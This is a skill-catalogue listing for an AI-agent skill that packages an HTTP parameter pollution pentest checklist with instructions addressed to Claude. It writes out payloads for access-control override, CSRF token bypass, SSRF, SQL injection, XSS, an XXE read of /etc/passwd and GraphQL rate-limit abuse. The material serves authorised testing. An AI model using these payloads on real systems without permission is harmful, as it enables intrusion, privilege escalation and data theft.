offensive-parameter-pollution
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-parameter-pollutionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of offensive-parameter-pollution
offensive-parameter-pollution scores 96/100 on our quality scale, 135th of 653 Security skills we index (top 21%).
Its SKILL.md is 16 KB long, well organised into 73 sections with 21 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-parameter-pollution is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-parameter-pollution compared with similar skills
All 4 of these similar skills score higher than offensive-parameter-pollution; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-parameter-pollution (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.5k | 11d ago | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-parameter-pollution?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-parameter-pollution. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-parameter-pollution work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-parameter-pollution safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-parameter-pollution still maintained?
- The repository was last updated 6 days ago, so offensive-parameter-pollution is actively maintained.
Skill content
View source on GitHubSKILL: HTTP Parameter Pollution (HPP)
Metadata
- Skill Name: parameter-pollution
- Folder: offensive-parameter-pollution
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/parameter-pollution.md
Description
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
Trigger Phrases
Use this skill when the conversation involves any of:
parameter pollution, HTTP parameter pollution, HPP, duplicate parameter, WAF bypass, parsing differences, server-side HPP, client-side HPP, parameter injection
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
HTTP Parameter Pollution (HPP)
Mechanisms
HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:
flowchart TD
subgraph "HTTP Parameter Pollution"
A[Multiple occurrences of same parameter] --> B{Server Technology}
B -->|ASP.NET/IIS| C[Uses first occurrence]
B -->|PHP/Apache| D[Uses last occurrence]
B -->|JSP/Tomcat| E[Uses first occurrence]
B -->|Perl CGI| F[Concatenates with comma]
B -->|Python/Flask| G[Builds array of values]
B -->|Node.js/Express| H[Uses first occurrence]
end
Parameter Handling Behaviors
- ASP.NET/IIS: Uses the first occurrence of the parameter
- PHP/Apache: Uses the last occurrence of the parameter
- JSP/Tomcat: Uses the first occurrence of the parameter
- Perl CGI/Apache: Concatenates all occurrences with a comma delimiter
- Python/Flask: Builds an array of values
- Node.js/Express: Uses the first occurrence by default
Notes and modern caveats
- Node.js
expressuses eitherquerystring(first-wins) orqs(arrays/last-wins).app.set('query parser', 'extended')changes behavior. Many middlewares assumeparam[]=a¶m[]=bfor arrays; duplicates without[]can produce surprising results. - Spring MVC/Spring Boot binders often collect duplicates into lists; API gateways (Kong, APIGEE, NGINX, Cloudflare) may collapse/normalize differently than backends.
- JSON duplicate keys: most parsers accept last-wins; some gateways reject duplicates while backends accept, creating precedence gaps.
- Cookies: duplicate cookie names and comma/semicolon handling vary by proxies/agents.
HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:
- Server-side HPP: Exploiting the server's handling of multiple parameters
- Client-side HPP: Manipulating parameters that are later processed by client-side code
Hunt
Identifying HPP Vulnerabilities
sequenceDiagram
participant Attacker
participant WebApp
participant Backend
Attacker->>WebApp: Request with duplicate parameter<br/>param=safe¶m=malicious
Note over WebApp: Layer 1 processes first value
WebApp->>Backend: Forward request to backend
Note over Backend: Layer 2 processes last value
Backend->>WebApp: Process with malicious value
WebApp->>Attacker: Response
Testing Parameter Handling
-
Identify forms and request parameters
-
Test duplicate parameters with different values:
// Original request https://example.com/search?param=value1 // Test request https://example.com/search?param=value1¶m=value2 -
Observe application behavior
-
Identify which value is used (first, last, concatenated)
Vulnerable Scenarios
- Parameter Overriding: Search for places where parameters might be overridden
- Request Proxies: Applications forwarding requests to other services
- Query String Processing: Applications that process query strings manually
- Multiple-Layer Processing: Applications where parameters pass through multiple layers
- OAuth/SAML Flows: Authentication flows where parameters may be manipulated
Testing Techniques
URL Parameter Pollution
# Original URL
https://target.com/page?parameter=original_value
# Polluted URL
https://target.com/page?parameter=original_value¶meter=malicious_value
Form Parameter Pollution
-
Intercept a legitimate form submission
-
Add duplicate parameters with different values:
// Original POST body parameter=original_value // Modified POST body parameter=original_value¶meter=malicious_value
Hybrid Parameter Pollution
Combining parameters in both URL and POST body:
// URL
https://target.com/page?parameter=url_value
// POST body
parameter=body_value
JSON Parameter Pollution
Testing duplicate keys in JSON objects:
{
"parameter": "value1",
"parameter": "value2"
}
Also test:
Cookie: role=user; role=admin
X-Role: user
X-Role: admin
Observe which value the application trusts.
GraphQL Parameter Pollution
GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:
# Alias pollution - bypass rate limits
query {
a: user(id: 1) {
name
email
}
b: user(id: 2) {
name
email
}
c: user(id: 3) {
name
email
}
# ... repeat to z or beyond
}
# Variable pollution
query ($id: Int!, $id: Int!) {
user(id: $id) {
name
}
}
# Batch mutation pollution
mutation {
a: redeemCoupon(code: "SAVE50") {
success
}
b: redeemCoupon(code: "SAVE50") {
success
}
c: redeemCoupon(code: "SAVE50") {
success
}
}
WebSocket Parameter Pollution
WebSocket connections can carry polluted parameters in the upgrade request or message payloads:
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin
// WebSocket message payload pollution
{
"action": "sendMessage",
"room": "public",
"room": "admin",
"message": "test"
}
Parameter Array Notation Pollution
Different frameworks handle array notation differently, creating pollution opportunities:
# PHP - expects brackets
param[]=value1¶m[]=value2
# Express (qs parser) - bracket optional
param=value1¶m=value2
# Rails - numeric indices
param[0]=value1¶m[1]=value2
# Mixed notation confusion
param=single¶m[]=array1¶m[0]=indexed
Testing strategy:
- Test with
param=a¶m=b(no brackets) - Test with
param[]=a¶m[]=b(array notation) - Test with
param[0]=a¶m[1]=b(indexed) - Mix notations to confuse parsers
Parameter Cloaking
Using encoding and case variations to bypass filters:
# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2
# Double/triple encoding
param=value1&par%2561m=value2
# Unicode normalization
param=value1&pαram=value2 # Greek alpha instead of 'a'
# Null byte injection (legacy)
param=value1¶m%00=value2
Vulnerabilities
Common HPP Vulnerabilities
graph LR
subgraph "HPP Attack Vectors"
A[HTTP Parameter Pollution] --> B[Access Control Bypass]
A --> C[Request Forgery Enhancement]
A --> D[Data Manipulation]
A --> E[API Vulnerabilities]
B --> B1[Parameter Override]
B --> B2[Permission Escalation]
C --> C1[CSRF Token Bypass]
C --> C2[SSRF Augmentation]
D --> D1[SQL Query Manipulation]
D --> D2[Filter Evasion]
E --> E1[Parameter Precedence]
E --> E2[OAuth Manipulation]
end
Access Control Bypass
- Parameter Override: Overriding security-related parameters
https://example.com/admin?access=false&access=true - Permission Escalation: Adding administrative parameters
https://example.com/profile?user=victim&user=admin
Request Forgery Enhancement
- CSRF Token Bypass: Duplicating anti-CSRF tokens
https://example.com/transfer?token=valid_token&token=random_value&amount=1000 - SSRF Augmentation: Overriding restricted URLs
https://example.com/fetch?url=safe.com&url=internal.server
Data Manipulation
- SQL Query Manipulation: Influencing SQL queries
https://example.com/products?category=1&category=1 OR 1=1 - Filter Evasion: Bypassing input filters
https://example.com/search?q=safe_value&q=<script>alert(1)</script>
API Vulnerabilities
- Parameter Precedence Confusion: Different parameter precedence between API gateway and backend
- GraphQL Parameter Pollution: Duplicate variables in GraphQL queries
- OAuth Parameter Manipulation: Manipulating OAuth redirect flows
- Header/Cookie Pollution: Conflicting header values across CDN → WAF → app layers
Impact Scenarios
Authentication Bypass
# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=admin
WAF Bypass
# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>
XML External Entity (XXE) via HPP
# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
API Gateway vs Backend Precedence
# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999
Methodologies
Tools
- Burp Suite Pro: Parameter pollution testing via Repeater and Intruder
- OWASP ZAP: HTTP fuzzer for parameter testing
- Param Miner: Extension for discovering hidden parameters
- HPP Finder: Specialized tool for HPP vulnerability detection
- Burp Repeater (Parallel): Validate precedence across layers quickly
- Schemathesis: Fuzz OpenAPI-defined endpoints for duplicate-field handling
Testing Methodology
flowchart TD
A[HPP Testing Methodology] --> B[Initial Discovery]
A --> C[Exploit Development]
A --> D[Impact Assessment]
B --> B1[Map application parameters]
B --> B2[Test duplicate parameters]
B --> B3[Document behavior]
C --> C1[Access control testing]
C --> C2[Security control bypass]
C --> C3[API security testing]
D --> D1[Authentication bypass]
D --> D2[Authorization bypass]
D --> D3[Data manipulation]
Initial Discovery
- Map all application parameters (URL, form, cookie, header)
- Test each parameter with duplicates to observe behavior
- Document how different application components handle parameter duplication
Exploiting HPP for Web Application Testing
-
Access Control Testing:
# Test privileged parameter override https://example.com/admin?admin=false&admin=true # Test user context override https://example.com/profile?id=attacker&id=victim -
Security Control Bypass:
# Test CSRF token pollution token=legitimate&token=fake # Test parameter validation bypass param=valid_value¶m=malicious_value -
API Security Testing:
# Test API parameter handling /api/v1/user?id=123&id=456 # Test with different content types Content-Type: application/json {"id": "123", "id": "456"} -
**HTTP Request Smuggling via
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
